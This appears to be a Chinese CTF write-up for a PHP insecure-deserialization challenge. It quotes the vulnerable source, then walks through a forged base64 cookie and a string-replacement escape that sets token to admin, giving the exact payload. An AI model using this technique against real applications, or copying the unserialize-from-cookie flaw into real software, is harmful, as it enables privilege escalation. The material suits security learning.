/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 02:37:19
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: [email protected]
# @link: https://ctfer.com
*/
error_reporting(0);
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}
highlight_file(__FILE__);
看了好久,没什么思路,没有可以利用的点,应该还有其他页面,目录也扫不出来.发现,看了下其他师傅的wp,其实注释里有个小hint# @message.php
,好家伙
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 15:13:03
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 15:17:17
# @email: [email protected]
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
include('flag.php');
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
大概就是在cookie中给msg传入message序列化后进行base64编码的值,只要把token值设置为admin就好了
还有个做法
$umsg = str_replace('fuck', 'loveU', serialize($msg));
是一个典型的字符逃逸,短变长,可以利用它来任意构造token的值
class message{
public $token='admin';
}
echo base64_encode(serialize(new message()));
Cookie:msg=Tzo3OiJtZXNzYWdlIjoxOntzOjU6InRva2VuIjtzOjU6ImFkbWluIjt9
先进行本地测试来演示一下
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$msg = new message("1","2",'fuck');
$umsg = str_replace('fuck', 'loveU', serialize($msg));
// O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:4:"fuck";s:5:"token";s:4:"user";}
echo serialize($msg);
// O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:4:"loveU";s:5:"token";s:4:"user";}
echo $umsg;
我们来对比下字符替换前后序列化字符的长度,我们得知,过滤之后$to
的长度还是4,但是里面有5个字符,这时候进行反序列化,实际上也只会截取4个字符,原本U后面的引号前移一位,这时候就会逃逸出一个字符U,很显然短变成长,每次转换多一个字符从fuck变为loveU,就会多逃逸一个字符
s:4:"love"U;s:5:"token";s:4:"user";}
前:
s:2:"to";s:4:"fuck";s:5:"token";s:4:"user";}
后:
s:2:"to";s:4:"loveU";s:5:"token";s:4:"user";}
这时候,如果我们想让token的只变成admin的话,我们可以让它逃逸出来,我们先在$to
传入fuck";s:5:"token";s:5:"admin";}
,为什么fuck后面要跟引号,原理和sql注入一样,用双引号把$to
闭合了,最后用}
把反序列化给闭合了,反序列化的时候就会忽略后面的字符.
还是一步一步来
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$msg = new message("1","2",'fuck";s:5:"token";s:5:"admin";}');
$umsg = str_replace('fuck', 'loveU', serialize($msg));
// O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:31:"fuck";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}
echo serialize($msg);
// O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:31:"loveU";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}
echo $umsg;
观察结果,转换前$to
的值应该为s:31:"fuck";s:5:"token";s:5:"admin";}"
正好31个字符,转换后会多一个字符,这时候$to
的值为s:31:"loveU";s:5:"token";s:5:"admin";"
后面的}
逃逸出来了
前:
O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:31:"fuck";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}
后:
O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:31:"loveU";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}
这时候进行反序列化的时候实际接收的值应该为{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:31:"loveU";s:5:"token";s:5:"admin";"};s:5:"token";s:4:"user";}
(双引号前移一位)
";s:5:"token";s:5:"admin";}
的长度为27,要让它逃逸出来,要转换27次才行,我们构造一下
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$msg = new message("1","2",'fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}');
$umsg = str_replace('fuck', 'loveU', serialize($msg));
// O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:135:"fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}
echo serialize($msg);
// O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:135:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}
echo urlencode(base64_encode($umsg));
转换前s:135:"fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}"
正好135位
转换后s:135:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU
也正好135位,后面的27位字符";s:5:"token";s:5:"admin";}
逃逸出来了,第一个字符"
会补上去闭合$to
前:
O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:135:"fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}
后:
O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:135:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}
最后反序列化时接收的值到了{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:135:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:5:"token";s:5:"admin";}
已经结束了,用}
闭合了,后面拼接的";s:5:"token";s:4:"user";}
不是反序列化的格式,所以直接被忽略了,这时候通过反序列化就成功把token的值改成admin了
在index.php页面传入,带着cookie去访问message.php,拿到flag
?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
信息收集很重要,字符逃逸也是最近刚刚学的,正好练练手